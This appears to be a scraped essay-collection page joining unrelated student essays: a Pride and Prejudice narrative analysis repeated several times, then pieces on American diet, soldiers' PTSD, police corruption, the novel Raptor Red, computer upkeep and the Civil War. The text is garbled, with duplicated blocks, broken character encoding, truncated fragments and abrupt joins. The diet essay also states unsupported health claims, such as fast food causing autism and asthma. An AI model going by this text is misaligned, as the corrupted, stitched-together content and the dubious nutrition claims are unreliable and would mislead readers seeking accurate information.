she does this and the meaning that is consequently created. The narration within the passage is omniscient. The narrator knows the actions, thoughts, words and feelings of not only the characters but also gives the reader insight into the society attitude to the engagement of Jane and Bingley; â€Å"The Bennets were speedily ronounced to be the luckiest family in the world†. The understated way in which the narrator ‘tells’ the reader this using the omniscient voice, allows the reader to absorb the information in a detached way; giving them the impression of a small, judgmental community who are limited in their imagination. This has the effect of enriching the reader’s understanding of the characters that live within the community. In contrast, we are dramatically †˜shown’ by the narrator Mrs Bennet’s reaction, â€Å"Why he has four or five thousand a year†. The litter of exclamation marks in the paragraph convey Mrs Bennet’s excitement, and the reader may judge that Mrs Bennet is shallow and slightly silly. The reader’s judgment is qualified by the fact that Mr Bennet does not reply to this utterance, and perhaps has the opinion that it is an exaggerated response and not worthy of reply. However, the narrator lets us know that while Mrs Bennet’s speech is worthy of judgement; it is an acceptable perspective shared by the society in which she lived and therefore perhaps, nudges the reader to judge them both harshly or conversely understand and excuse her. The society view within the passage, that the good marriage of a daughter is the luck of a family conveys an impression of realism. Mrs Bennet’s speech which features Bingley’s money and good looks, (not mentioning his character at all) also compounds the preconception that in this era these values were considered important before all other virtues. Conversely, the way in which the Bennets are described as being the â€Å"luckiest family in the world† has a quality of romance or a fairy tale/dream ending. Realism and romance are therefore both used to convey the ‘good fortune’ of the family and its implications. The omniscient narrator conveys the point of view of the characters Mary and Kitty to their sister’s engagement through the use of free indirect speech – â€Å"Mary petitioned Kitty begged very hard † this has the effect of giving the reader insight into the nature of the two sisters – they may conclude that Mary is the more staid, scholarly sister and Kitty frivolous, even the names of the characters affirms this. This characterization enables the reader form an opinion on the characters and in doing so gets more involved in the plot. Much of the passage is made up of direct speech between Jane and Elizabeth, this dialogue has the effect of conveying the closeness between the two sisters. The dialogue is interjected with omniscient narration that portrays Elizabeth’s inner thoughts and relief that Bingley had not told Jane of Darcy’s involvement in their previous estrangement â€Å"Elizabeth was pleased†. This has the effect of involving the reader and establishing affection for the character. The reader is privy to thoughts and events that not even her sister is aware of and is therefore complicit in the omission, sharing a secret with Elizabeth; thus drawing the reader to the character and into the narrative. The narrative in the passage is focalized mainly through Elizabeth. It is from her point of view that we observe the events following Jane and Bingley’s engagement, â€Å"Elizabeth had now but little time she found herself useful † this focalization causes the reader to identify with Elizabeth and become fond of her as her character and opinions are expressed. In the dialogue that follows, Jane is predictably extolling the virtues of Bingley and asserting her happiness, â€Å"certainly the most fortunate creature.. † Elizabeth’s response to this gives us insight into the way in which her character and the plot may develop. Elizabeth asserts that â€Å"till I have your disposition I never can have your happiness.. † It is possible that she believes that the good nature of her sister and lack of pride is key to her happiness (alternatively she is being ironic, knowing that she would not be happy with a ‘Bingley’ unless she had a similar temperament to Jane). She is pleased that her sister does not know about Darcy’s interference in her courtship with Bingley as she believes that this would â€Å"prejudice her against him† This could be a significant moment in the plot as pride and prejudice have been keeping Darcy and Elizabeth from finding happiness with each other. The intention to cease prejudice and pride causes the reader to sense and anticipate a happy conclusion, therefore eagerly reads on. The suggestion of moral self knowledge by which means Elizabeth may improve her prospects is showing the reader that reflection and change is required for evolvement. It also shows the dynamic quality of her character. The passage also lets the reader know that Jane’s character has changed over the course of the book â€Å"the most unforgiving speech that I have ever heard you utter. † Experience has led her to treat Miss Bingley with caution, this has the effect of humanizing the character of Jane and making her less static and one dimensional. It also gives the reader no doubt as to the feelings of Elizabeth towards Miss Bingley â€Å"Good girl! It would vex me indeed. the dupe of Miss Bingley’s pretend regard† As Elizabeth is the focalized character, the reader takes this judgement as a fair and accurate one and the poor opinion of Miss Bingley is assumed with no other evidence to confirm it. In conclusion, the narrative voice and dialogue within the passage affords a wealth of meaning. It is possible to study and form opinion on the characters and the environment in which they lived, by the author’s use of characterization. The use of narrative and the In a continuous essay of not more than 1,000 words, analyse this passage, discussing how narrative voice and dialogue are important elements in the creation of meaning in the passage. Throughout the passage from Jane Austen’s Pride and Prejudice, the author provides many ways to establish the creation of meaning through the use of dialogue and narrative voice. Austen allows the reader insight into the nature of the characters by us of dialogue, in which we see how the characters interact with each other. Austen also uses narrative, focalization, discourse and punctuation to further develop the characters and create familiarity between them and the reader. I hope to analyse the ways in which she does this and the meaning that is consequently created. The narration within the passage is omniscient. The narrator knows the actions, thoughts, words and feelings of not only the characters but also gives the reader insight into the society attitude to the engagement of Jane and Bingley; â€Å"The Bennets were speedily pronounced to be the luckiest family in the world†. The understated way in which the narrator ‘tells’ the reader this using the omniscient voice, allows the reader to absorb the information in a detached way; giving them the impression of a small, judgmental community who are limited in their imagination. This has the effect of enriching the reader’s understanding of the characters that live within the community. In contrast, we are dramatically ‘shown’ by the narrator Mrs Bennet’s reaction, â€Å"Why he has four or five thousand a year†. The litter of exclamation marks in the paragraph convey Mrs Bennet’s excitement, and the reader may judge that Mrs Bennet is shallow and slightly silly. The reader’s judgment is qualified by the fact that Mr Bennet does not reply to this utterance, and perhaps has the opinion that it is an exaggerated response and not worthy of reply. However, the narrator lets us know that while Mrs Bennet’s speech is worthy of judgement; it is an acceptable perspective shared by the society in which she lived and therefore perhaps, nudges the reader to judge them both harshly or conversely understand and excuse her. The society view within the passage, that the good marriage of a daughter is the luck of a family conveys an impression of realism. Mrs Bennet’s speech which features Bingley’s money and good looks, (not mentioning his character at all) also compounds the preconception that in this era these values were considered important before all other virtues. Conversely, the way in which the Bennets are described as being the â€Å"luckiest family in the world† has a quality of romance or a fairy tale/dream ending. Realism and romance are therefore both used to convey the ‘good fortune’ of the family and its implications. The omniscient narrator conveys the point of view of the characters Mary and Kitty to their sister’s engagement through the use of free indirect speech – â€Å"Mary petitioned Kitty begged very hard † this has the effect of giving the reader insight into the nature of the two sisters – they may conclude that Mary is the more staid, scholarly sister and Kitty frivolous, even the names of the characters affirms this. This characterization enables the reader form an opinion on the characters and in doing so gets more involved in the plot. Much of the passage is made up of direct speech between Jane and Elizabeth, this dialogue has the effect of conveying the closeness between the two sisters. The dialogue is interjected with omniscient narration that portrays Elizabeth’s inner thoughts and relief that Bingley had not told Jane of Darcy’s involvement in their previous estrangement â€Å"Elizabeth was pleased†. This has the effect of involving the reader and establishing affection for the character. The reader is privy to thoughts and events that not even her sister is aware of and is therefore complicit in the omission, sharing a secret with Elizabeth; thus drawing the reader to the character and into the narrative. The narrative in the passage is focalized mainly through Elizabeth. It is from her point of view that we observe the events following Jane and Bingley’s engagement, â€Å"Elizabeth had now but little time she found herself useful † this focalization causes the reader to identify with Elizabeth and become fond of her as her character and opinions are expressed. In the dialogue that follows, Jane is predictably extolling the virtues of Bingley and asserting her happiness, â€Å"certainly the most fortunate creature.. † Elizabeth’s response to this gives us insight into the way in which her character and the plot may develop. Elizabeth asserts that â€Å"till I have your disposition I never can have your happiness.. † It is possible that she believes that the good nature of her sister and lack of pride is key to her happiness (alternatively she is being ironic, knowing that she would not be happy with a ‘Bingley’ unless she had a similar temperament to Jane). She is pleased that her sister does not know about Darcy’s interference in her courtship with Bingley as she believes that this would â€Å"prejudice her against him† This could be a significant moment in the plot as pride and prejudice have been keeping Darcy and Elizabeth from finding happiness with each other. The intention to cease prejudice and pride causes the reader to sense and anticipate a happy conclusion, therefore eagerly reads on. The suggestion of moral self knowledge by which means Elizabeth may improve her prospects is showing the reader that reflection and change is required for evolvement. It also shows the dynamic quality of her character. The passage also lets the reader know that Jane’s character has changed over the course of the book â€Å"the most unforgiving speech that I have ever heard you utter. † Experience has led her to treat Miss Bingley with caution, this has the effect of humanizing the character of Jane and making her less static and one dimensional. It also gives the reader no doubt as to the feelings of Elizabeth towards Miss Bingley â€Å"Good girl! It would vex me indeed. the dupe of Miss Bingley’s pretend regard† As Elizabeth is the focalized character, the reader takes this judgement as a fair and accurate one and the poor opinion of Miss Bingley is assumed with no other evidence to confirm it. In conclusion, the narrative voice and dialogue within the passage affords a wealth of meaning. It is possible to study and form opinion on the characters and the environment in which they lived, by the author’s use of characterization. The use of narrative and the In a continuous essay of not more than 1,000 words, analyse this passage, discussing how narrative voice and dialogue are important elements in the creation of meaning in the passage. Throughout the passage from Jane Austen’s Pride and Prejudice, the author provides many ways to establish the creation of meaning through the use of dialogue and narrative voice. Austen allows the reader insight into the nature of the characters by us of dialogue, in which we see how the characters interact with each other. Austen also uses narrative, focalization, discourse and punctuation to further develop the characters and create familiarity between them and the reader. I hope to analyse the ways in which she does this and the meaning that is consequently created. The narration within the passage is omniscient. The narrator knows the actions, thoughts, words and feelings of not only the characters but also gives the reader insight into the society attitude to the engagement of Jane and Bingley; â€Å"The Bennets were speedily pronounced to be the luckiest family in the world†. The understated way in which the narrator ‘tells’ the reader this using the omniscient voice, allows the reader to absorb the information in a detached way; giving them the impression of a small, judgmental community who are limited in their imagination. This has the effect of enriching the reader’s understanding of the characters that live within the community. In contrast, we are dramatically ‘shown’ by the narrator Mrs Bennet’s reaction, â€Å"Why he has four or five thousand a year†. The litter of exclamation marks in the paragraph convey Mrs Bennet’s excitement, and the reader may judge that Mrs Bennet is shallow and slightly silly. The reader’s judgment is qualified by the fact that Mr Bennet does not reply to this utterance, and perhaps has the opinion that it is an exaggerated response and not worthy of reply. However, the narrator lets us know that while Mrs Bennet’s speech is worthy of judgement; it is an acceptable perspective shared by the society in which she lived and therefore perhaps, nudges the reader to judge them both harshly or conversely understand and excuse her. The society view within the passage, that the good marriage of a daughter is the luck of a family conveys an impression of realism. Mrs Bennet’s speech which features Bingley’s money and good looks, (not mentioning his character at all) also compounds the preconception that in this era these values were considered important before all other virtues. Conversely, the way in which the Bennets are described as being the â€Å"luckiest family in the world† has a quality of romance or a fairy tale/dream ending. Realism and romance are therefore both used to convey the ‘good fortune’ of the family and its implications. The omniscient narrator conveys the point of view of the characters Mary and Kitty to their sister’s engagement through the use of free indirect speech – â€Å"Mary petitioned Kitty begged very hard † this has the effect of giving the reader insight into the nature of the two sisters – they may conclude that Mary is the more staid, scholarly sister and Kitty frivolous, even the names of the characters affirms this. This characterization enables the reader form an opinion on the characters and in doing so gets more involved in the plot. Much of the passage is made up of direct speech between Jane and Elizabeth, this dialogue has the effect of conveying the closeness between the two sisters. The dialogue is interjected with omniscient narration that portrays Elizabeth’s inner thoughts and relief that Bingley had not told Jane of Darcy’s involvement in their previous estrangement â€Å"Elizabeth was pleased†. This has the effect of involving the reader and establishing affection for the character. The reader is privy to thoughts and events that not even her sister is aware of and is therefore complicit in the omission, sharing a secret with Elizabeth; thus drawing the reader to the character and into the narrative. The narrative in the passage is focalized mainly through Elizabeth. It is from her point of view that we observe the events following Jane and Bingley’s engagement, â€Å"Elizabeth had now but little time she found herself useful † this focalization causes the reader to identify with Elizabeth and become fond of her as her character and opinions are expressed. In the dialogue that follows, Jane is predictably extolling the virtues of Bingley and asserting her happiness, â€Å"certainly the most fortunate creature.. † Elizabeth’s response to this gives us insight into the way in which her character and the plot may develop. Elizabeth asserts that â€Å"till I have your disposition I never can have your happiness.. † It is possible that she believes that the good nature of her sister and lack of pride is key to her happiness (alternatively she is being ironic, knowing that she would not be happy with a ‘Bingley’ unless she had a similar temperament to Jane). She is pleased that her sister does not know about Darcy’s interference in her courtship with Bingley as she believes that this would â€Å"prejudice her against him† This could be a significant moment in the plot as pride and prejudice have been keeping Darcy and Elizabeth from finding happiness with each other. The intention to cease prejudice and pride causes the reader to sense and anticipate a happy conclusion, therefore eagerly reads on. The suggestion of moral self knowledge by which means Elizabeth may improve her prospects is showing the reader that reflection and change is required for evolvement. It also shows the dynamic quality of her character. The passage also lets the reader know that Jane’s character has changed over the course of the book â€Å"the most unforgiving speech that I have ever heard you utter. † Experience has led her to treat Miss Bingley with caution, this has the effect of humanizing the character of Jane and making her less static and one dimensional. It also gives the reader no doubt as to the feelings of Elizabeth towards Miss Bingley â€Å"Good girl! It would vex me indeed. the dupe of Miss Bingley’s pretend regard† As Elizabeth is the focalized character, the reader takes this judgement as a fair and accurate one and the poor opinion of Miss Bingley is assumed with no other evidence to confirm it. In conclusion, the narrative voice and dialogue within the passage affords a wealth of meaning. It is possible to study and form opinion on the characters and the environment in which they lived, by the author’s use of characterization. The use of narrative and the In a continuous essay of not more than 1,000 words, analyse this passage, discussing how narrative voice and dialogue are important elements in the creation of meaning in the passage. Throughout the passage from Jane Austen’s Pride and Prejudice, the author provides many ways to establish the creation of meaning through the use of dialogue and narrative voice. Austen allows the reader insight into the nature of the characters by us of dialogue, in which we see how the characters interact with each other. Austen also uses narrative, focalization, discourse and punctuation to further develop the characters and create familiarity between them and the reader. I hope to analyse the ways in which she does this and the meaning that is consequently created. The narration within the passage is omniscient. The narrator knows the actions, thoughts, words and feelings of not only the characters but also gives the reader insight into the society attitude to the engagement of Jane and Bingley; â€Å"The Bennets were speedily pronounced to be the luckiest family in the world†. The understated way in which the narrator ‘tells’ the reader this using the omniscient voice, allows the reader to absorb the information in a detached way; giving them the impression of a small, judgmental community who are limited in their imagination. This has the effect of enriching the reader’s understanding of the characters that live within the community. In contrast, we are dramatically ‘shown’ by the narrator Mrs Bennet’s reaction, â€Å"Why he has four or five thousand a year†. The litter of exclamation marks in the paragraph convey Mrs Bennet’s excitement, and the reader may judge that Mrs Bennet is shallow and slightly silly. The reader’s judgment is qualified by the fact that Mr Bennet does not reply to this utterance, and perhaps has the opinion that it is an exaggerated response and not worthy of reply. However, the narrator lets us know that while Mrs Bennet’s speech is worthy of judgement; it is an acceptable perspective shared by the society in which she lived and therefore perhaps, nudges the reader to judge them both harshly or conversely understand and excuse her. The society view within the passage, that the good marriage of a daughter is the luck of a family conveys an impression of realism. Mrs Bennet’s speech which features Bingley’s money and good looks, (not mentioning his character at all) also compounds the preconception that in this era these values were considered important before all other virtues. Conversely, the way in which the Bennets are described as being the â€Å"luckiest family in the world† has a quality of romance or a fairy tale/dream ending. Realism and romance are therefore both used to convey the ‘good fortune’ of the family and its implications. The omniscient narrator conveys the point of view of the characters Mary and Kitty to their sister’s engagement through the use of free indirect speech – â€Å"Mary petitioned Kitty begged very hard † this has the effect of giving the reader insight into the nature of the two sisters – they may conclude that Mary is the more staid, scholarly sister and Kitty frivolous, even the names of the characters affirms this. This characterization enables the reader form an opinion on the characters and in doing so gets more involved in the plot. Much of the passage is made up of direct speech between Jane and Elizabeth, this dialogue has the effect of conveying the closeness between the two sisters. The dialogue is interjected with omniscient narration that portrays Elizabeth’s inner thoughts and relief that Bingley had not told Jane of Darcy’s involvement in their previous estrangement â€Å"Elizabeth was pleased†. This has the effect of involving the reader and establishing affection for the character. The reader is privy to thoughts and events that not even her sister is aware of and is therefore complicit in the omission, sharing a secret with Elizabeth; thus drawing the reader to the character and into the narrative. The narrative in the passage is focalized mainly through Elizabeth. It is from her point of view that we observe the events following Jane and Bingley’s engagement, â€Å"Elizabeth had now but little time she found herself useful † this focalization causes the reader to identify with Elizabeth and become fond of her as her character and opinions are expressed. In the dialogue that follows, Jane is predictably extolling the virtues of Bingley and asserting her happiness, â€Å"certainly the most fortunate creature.. † Elizabeth’s response to this gives us insight into the way in which her character and the plot may develop. Elizabeth asserts that â€Å"till I have your disposition I never can have your happiness.. † It is possible that she believes that the good nature of her sister and lack of pride is key to her happiness (alternatively she is being ironic, knowing that she would not be happy with a ‘Bingley’ unless she had a similar temperament to Jane). She is pleased that her sister does not know about Darcy’s interference in her courtship with Bingley as she believes that this would â€Å"prejudice her against him† This could be a significant moment in the plot as pride and prejudice have been keeping Darcy and Elizabeth from finding happiness with each other. The intention to cease prejudice and pride causes the reader to sense and anticipate a happy conclusion, therefore eagerly reads on. The suggestion of moral self knowledge by which means Elizabeth may improve her prospects is showing the reader that reflection and change is required for evolvement. It also shows the dynamic quality of her character. The passage also lets the reader know that Jane’s character has changed over the course of the book â€Å"the most unforgiving speech that I have ever heard you utter. † Experience has led her to treat Miss Bingley with caution, this has the effect of humanizing the character of Jane and making her less static and one dimensional. It also gives the reader no doubt as to the feelings of Elizabeth towards Miss Bingley â€Å"Good girl! It would vex me indeed. he dupe of Miss Bingley’s pretend regard† As Elizabeth is the focalized character, the reader takes this judgement as a fair and accurate one and the poor opinion of Miss Bingley is assumed with no other evidence to confirm it. In conclusion, the narrative voice and dialogue within the passage affords a wealth of meaning. It is possible to study and form opinion on the characters and the environment in which they lived, by the author’s use of cha racterization. The use of narrative and the different perspectives this creates, envelopes the reader into the world of the Bennets. Even the punctuation used gives the reader vital clues, establishing a mental picture in the mind of the reader, drawing them into the story and giving it life. References Austen, Jane. (1813)Pride and Prejudice, Oxford World Classics (volume 111, chapter 13) Bibliography Austen, Jane. (1813)Pride and Prejudice, Oxford World Classics. Padley, Steve. (2001) Approaching Prose Fiction, Milton Keynes, The Open University. Walder, Dennis. (1995) The Realist Novel, Oxon, Routledge/The Open University. A210 (2006) DVD 1, The language of Realism I, The Open University, CDA5746, Track 3.

American Diet

A proper diet should be sufficient, reasonable and include a person’s other aspects, such as age, his food habits and food preferences. A proper diet should meet a person’s overall need for nutrition’s to maintain his overall health. Like all other people in different parts of the world, Americans have also become more health cautious and choosy about what they eat. People have become more concerned about the quality and safety of the food they consume. Awareness of nutritious foods has led to many people opting for organic, vegetarian and other healthy foods in the present market. â€Å"Lite food is in, and indulgence is out. But are Americans practicing what they preach?†(Line no.3, Dietary Trends, American) .   But different surveys indicate that, the diet consumed by majority of the people in America is still lacking in the required nutrition quantities, despite the health consciousness in people. Common Diet Of An American On an average every other youngster in America follow the same diet pattern, more than half of the Americans consume snack items or fast foods on a regular basis, which are high in calories. Consumption of fried chicken form KFC like chicken nuggets is also very high among youngsters. These snack items though very tasty are very high in salt and Monosodium Glutamate (MSG), which is very harmful.   The food that is easily available like potato chips, French fries and other canned and tinned foods also contain a high amount of salt to last for a long time, which is very risky to a persons health.   Consumption of cheese, meat, poultry and fish items have gone up compared to the past.   The reason for this can be that many youngsters either skip there breakfast or lunch, or tend to eat easy and fast food which is readily available in the market to overcome their hunger.All the fast foods are generally deep fried, high in sodium, fat and salt, low in minerals, vitamins and fiber, which are all the main cause for many diseases in Americans.   Some of the common diseases, which affect people who consume fast food are, asthma, autism, stress related problems, depression, cholesterol, diabetes, heart problems and obesity.   And adding to the woes, many KFC outlets offer discounts if a person purchases a larger quantity, which adds empty calories and results in eating more than the required amount, with lesser nutrients. Foods To Avoid The food available in most of the famous outlets for e.g. KFC, McDonald’s, Pizza Hut and other fast food outlets are some of the food that one should try to avoid.   Every person should try to avoid the following foods Sausages Scrambled Eggs, Grilled chicken, Hot and spicy chicken, pizza’s, hamburger’s, hotdog’s, French fries, other soups that contain soy sauce, noodles, pasta, white bread, tinned or canned food, instant soup and noodles mix, beef items, processed cheese, salad dressings, potato chips, canned tuna, yeast, dry mushrooms and other salty items. One should remember that, any food, which is high in salt, is also high in MSG.   Every person should carefully read the label to know what the tin contains, before purchasing any food item.   People should also avoid consuming sugar, sweets, aerated, soft drinks and sweetened dishes like pastries, cookies etc. which are high in calories. On an average, the percentage of people consuming soft drinks has been on an alarming rise compared to the past.   Every person who goes to work has a ready soft drink on his desk, to quench his thirst.   It has become impossible for the Government to estimate the soft drink consumption on an annual basis.Foods To Include Important changes in a person’s diet and lifestyle may go a long way in improving one’s health. People should be more inclined to consume raw food, food that has more fiber, fresh fruits and food that is not sprayed with any chemicals or contains any preservatives.   People should be encouraged to consume whole wheat bread, brown rice, legumes and more fresh leafy vegetables, which are high in fiber and more filling.   Foods that are rich in omega-3 and 6 fatty acids are very good for the health, e.g. sardines, mackerel, walnuts, olive oil, canned tuna in olive oil, flaxseeds are very good sources of these acids. An example of a proper vegetarian diet should include fresh fruits, vegetable, whole grains, nuts, eggs, skimmed milk, legumes and trimmed meat or other poultry. Care should be taken to include the necessary vitamins, which are not found in the above-mentioned food. To add more flavor to salad dressings lemon juice, pepper powder, ginger, rosemary and garlic can be used, instead of salt. Oils like, almond, canola, sunflower, flaxseed, olive and sesame oil can be used for cooking.   Taking homemade soups or salads before every meal, is more filling and helps us to eat less in the main course, which helps in not putting on empty calories. People should try to avoid skipping meals and eating at fast food centers and restaurants, and make it a habit to eat proper healthy and hygienically home-cooked meals, which are high in nutrients and fiber. One should avoid eating a meal in front of the television, as we may tend to eat more than the required quantity of food.   A combination of a healthy and nutritious diet, with proper exercise, good fitness, a positive attitude towards life and a healthy and happy lifestyle is the perfect remedy to every young American.Works CitedDietary Trends, American, 20 February 2007, http://www.faqs.org/nutrition/Diab-Em/Dietary-Trends-American.html.What Foods to Avoid, 20 February 2007, http://www.msgtruth.org/avoid.htm.

Soldier's Heart Assignment Example | Topics and Well Written Essays - 500 words

Soldier's Heart - Assignment Example People most likely to be affected by PTSD are individuals with an unstable family background, a history of low self-esteem, and prolonged exposure to the traumatic instances. People less likely to be affected by PTSD are those that have graduated high school or college and have a higher socio-economic status; however, regardless of their origins, veterans have one of the highest rates of PTSD of any group. According to Lt. Col. David Grossman, wars have far more psychological casualties than they do physical ones. Despite the high rate of PTSD among soldiers, only a small percentage of the afflicted actually seek psychological evaluation. Doctor and employee of Vermonts Department of Veteran Affairs Andrew Pomerantz reasons that most veterans with PTSD to not seek treatment because they dont want to be viewed as â€Å"weaklings.† Remembers Julie Proulx, girlfriend of late marine Jeff Lucey, â€Å"He didnt want the marines to think he was weak. He was very reluctant [to seek help].† Lucey ultimately committed suicide due to the effects of PTSD and subsequent depression. Not only do veterans fear that they will be labeled as weak, but many perceive the stigmatization of so much as seeking mental health evaluation as â€Å"job-ending.† Some soldiers, such as Rob Sarra, often fear that they will be discharged as mentally unstable. PTSD affects more than just the lives of the individuals who develop it: the disorder also takes a toll on the lives of their loved ones. The wives of returning soldiers often report their husbands to be more irritable and snippy. Sarra discusses his struggles with developing alcoholism and subsequent fights in bars. In one instance, he became so enraged that he almost killed a man, only to become re-aware of his surroundings. â€Å"If I had killed that man,† he notes, â€Å"there would be no getting around that.† Veteran Andrew Pogany reported that he developed anxiety and severe panic attacks, during which time he

Police Corruption In The United States Essay Example | Topics and Well Written Essays - 2500 words

Police Corruption In The United States - Essay Example Police corruption acts are increasing with the passage of time and everyday we comprehend and share our views regarding police unlawful acts, what is published in the newspaper. "In New Orleans, 11 police officers were convicted of accepting nearly $100,000 from undercover agents to protect a cocaine supply warehouse containing 286 pounds of cocaine. The undercover portion of the investigation was terminated when a witness was killed under orders from a New Orleans police officer." (General Accounting Office, Report to the Honorable Charles B. Rangel). Police departments participating in the five-year study were drawn from a pool of more than 4,000 police departments throughout the United States. Only sixty-nine supplied the necessary personality, background, and offense data and met all of the prerequisites for inclusion in the study (each had to administer a personality test to applicants and had to have had at least one incident where a screened officer engaged in a substantiated corrupt act, for example). Overall, the study examined 439 officers who had engaged in corrupt acts (such as bribes and information breaches) and 439 who had not. Police corruption exists in two forms: Internal corruption and External Corruption. Internal corruption refers to all those crimes, which are held within the boundaries of the police department, i.e., corruption that resides among policemen whereas External corruption escorts to those unlawful acts that apprehend police dealings with the public. Example of an Internal crime can be any officer who is involved in drug or cocaine violence along with other officers or staff or any officer who has taken excessive advantage over the authority given to him by harassing one of his colleague or member. A 1998 report by the General Accounting Office states, "The most commonly identified pattern of drug-related police corruption involved small groups of officers who protected and assisted each other in criminal activities, rather than the traditional patterns of non-drug-related police corruption that involved just a few isolated individuals or systemic corruption pervading an entire police department or precinct." (General Accounting Office, Report to the Honorable Charles B. Rangel) When we talk about external corruption, it is obvious to do something with public prosecution and it is a widespread predicament often found in our everyday lives. Example can be any police officer (or civilian) found engaged in the persuasion of common public. Like I have often observed in New York City, some cops take unnecessary advantage of wearing a five star badge uniform. As an example of police corruption, the GAO cites Philadelphia, where "Since 1995, 10 police officers from Philadelphia's 39th District have been charged with planting drugs on suspects, shaking down drug dealers for hundreds of thousands of dollars, and breaking into homes to steal drugs and cash." (General Accoun

Raptor Red :: essays research papers

1. The novel I read was "Raptor Red" by Robert T. Bakker. Published by Simon & Schuster, in 1995. Rapotor Red is a female raptor struggling to survive in a kill or be killed world on her own after losing her mate. 2. The setting changes all throughout the book as Raptor Red migrates from one place to another. In somesettings she is in thick rich mossy forests looking for plump Iguanadons to eat, to other desert like lands where the sun is so hot she must sleep through the midday and hunt late afternoon when the heat is bearable. Setting is a very important because the authour must reconstruct the crustacoius period setting and all the vegitation ,lust forests, muddy salt flats, sandy beaches, and dry temperate valleys. These settings are all very vital to the book because it creates the prehistoric atmosphere and brutal planet these giants once inhabited. One of the key elements to the book to make it more realistic is how the author describes in detail all the other animals that Raptor Red hunts and runs into in the book. The author puts great detail in how Raptor Red stalks her prey and kills her victims. Once you start reading this book and you see how intelligent raptors once were you really can't decipher Raptor Red's thinking to a modern day human hunter. 3. This book follows the life of Raptor Red and all the troubles a raptor would face in it's life from good times to bad. The book starts off with Raptor Red hunting an Ultrasaurus with her mate. They carefully select the dinosaur they will single out to kill. They look for faults in their prey, like injuries, preoccupation with someting elese, stragglers who want to rest for a while, just about anything to help assure a safe victory without any injuries to themselves. Raptor Red and her mate single out an Ultrasaurus who is preoccupied with trying to mate rather than pay any attention to the fact that it was being stalked by predators. Raptor Red and the mate kill the Ultrasaurus on a mud flat, and the Ultrasaurus falls on it's knees and dies. While Raptor Red and her mate are gorging on the larg animal her mate detects a scent of another kind of smalled raptors in the area that want some of the kill. Raptor Reds mate lets out a fierce roar

Personal Computer Maintenance Essay

Today, computers are an important part of our society. When a computer is running and performing like we expect, we’re happy. But, when our computers aren’t, life can be quiet unpleasant. Depending on how you use your computer, you can miss a few emails, or, worse, you can miss important deadlines at work. Maintaining your computers health isn’t only practical, it’s essential. There are several simple steps you can take to insure that your life line is never in jeopardy. But, of all these, there is one that is at the top of the list; backing up. Backing up your files will save you from having a big heartache, even if your computer decides to take the day off. Backing up your files is, undeniably, the most crucial step in securing that your information is never lost. There are several methods to keeping your data safe; they include CD-RW’s, external hard drives, D drives and the Internet. The D drive, external hard drives and CD-RW are excellent choices, but you can still loose your files in a fire, flood or theft. The only secure way to back up your data in a separate location is, the Internet. Some have been known to back up files using two to three different methods. This is your best bet to make certain you’re completely covered. Knowing that your files and data are safe is no excuse for neglecting the rest of your maintenance, something as simple as keeping your computer and monitor clean can have lasting benefits. Also, keeping your computer cool can detour major problems. Keeping your computer off the floor, especially carpet, since the vents are on the bottom, will help. If it has to be on the floor, sit it on something. Old books or magazines work great in giving your computer a little â€Å"breathing† room. If you’re experienced enough, you can cut/drill holes in your tower for extra ventilation. Heat can reduce the life of your CPU (central processing unit). Now that we’ve discussed the external maintenance, we can continue with the internal workings of your computer. Clutter is a huge contributing factor to your computer running sluggish. For maximum performance, a hard drive should only have half of its storage space in use. You should routinely delete temporary internet files and cookies. Remove any old files (especially pictures and videos) or applications that you no longer use. It’s also beneficial to defragment your hard drive from time to time. Defragging the data on your hard drive helps to properly reorganize how the data is stored on the drive, usually boosting system performance. Performing updates on your computers operating system will also keep your computer running smoothly. These are usually automatic and your PC will let you know when there are updates to be downloaded. If you’re like most of us, and use your computer daily without proper maintenance, there is an alternative. You can solicit the services of a professional â€Å"Geek. † These qualified wizards can, for a small fee, transform your PC. In the hands of the pros, there is no worry of further damage to your PC. Now, the next time your computer give you a fit, you’ll know how to handle it. Weather the maintenance is with your own hands or a professional’s, your computer will live a long and happy life and so will you.

Effects Of The Civil War On The United States - 2477 Words

The United States of America following the Civil War was one that would be entrenched into the culture of the country for the remainder of its existence. While there are no survivors from the war or the time still living, we still see the effects of the war waning on the country. If not today, then definitely through the civil rights movement, but I digress. The Reconstruction Era in the United States followed the Civil War after the defeat of the Confederate States of America by the United States of America, or what we mostly call the Union. This was a time of healing within our country, however, many didn’t see it that way. Freed African American slaves were those most affected by this Union victory. While they were free within the terms of the law, they still weren’t able to do the things that some hoped. Southern whites caused much of the trouble for the freed slaves, as we’ll discuss later, they felt this was a way for the northerners to ‘rub it in’ the faces of those formers slave holders. Race was big deal in the South following the Civil War, ranging from Texas all the way over to Virginia. What we’ll be focusing on are the conflicting ideals of the freed slaves and the Southern whites within East Texas and Northwestern Louisiana. Racial ties following the Civil War caused a troubling and crime ridden environment for the freed African American slaves in East Texas and Northwestern Louisiana. Mentioning of the Freedman’s Bureau’s role within the years following theShow MoreRelatedCivil War And Its Effects On The United States1347 Words   |  6 Pagesconfederate generals, 21 year old Dylann Roof wore a Rhodesian badge, as he shot nine african americans in the Emanuel Church in hope of â€Å"igniting a civil war†. (Jessica Glenza; The guardian) Previously that year Roof, had been arrested and banned from a public mall, in march for a drug charge and in April for trespassing. In his case file it states that he was found in possession of narcotics to treat his drug addiction. It was also noted that he had an obsessive-compulsive disorder. However, despiteRead MoreEssay on The Effects of the Civil War on the United States574 Words   |  3 PagesCivil War Research Paper ​The effects of the Civil War brought about changes in the United States. The country had to answer the question: To what level of moral and ethical conduct do we want Americans to be held? Loyalties were seriously evaluated. People had to decide if they held their loyalty to the country as a whole, their state, their families, or even to humanity as a whole. They had to decide if it was right to own another person, or if the slavery system was justified as a way to keepRead MoreA Brief Note On Civil War And Its Effects On The United States1602 Words   |  7 Pages Civil War Civil War is defined as a war between citizens of the same country. Why would America have this fight? The Northern states of America decided that they would no longer tolerate the Southern states treating African Americans as slaves because of the color of their skin. When disputes were brought up over this issue between the North and South, the South was too persistent to have slaves. They worried that the North would be successful in abolishing slavery, so in result, the South wentRead MoreCivil War1284 Words   |  6 Pagesï » ¿American Civil War Milan Patel The journal paper discusses the problems faced by Abraham Lincoln and Jefferson Davis that contributed to civil war in their respective states. It analyses the contribution of each person in the American civil war. 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Everyone knows the United States has had its fair share of wars. Let me start by giving you a brief list of wars the United States has participated in according to Wikipedia. Both â€Å"Barbary Wars (1801-1805, 1815-1816), Wars of 1812, Mexican-American War (1846-48), American Civil War (1861-65), Indian War (1865-91), Spanish-American War( 1898), Philippine-American War (1899-1902) Border War(Mexican Revolutionary)1910-1919, World War I (1917-18)Read MoreThe Great American Civil War1204 Words   |  5 Pagesgreat American Civil War changed and shaped America back in the late 1800s and 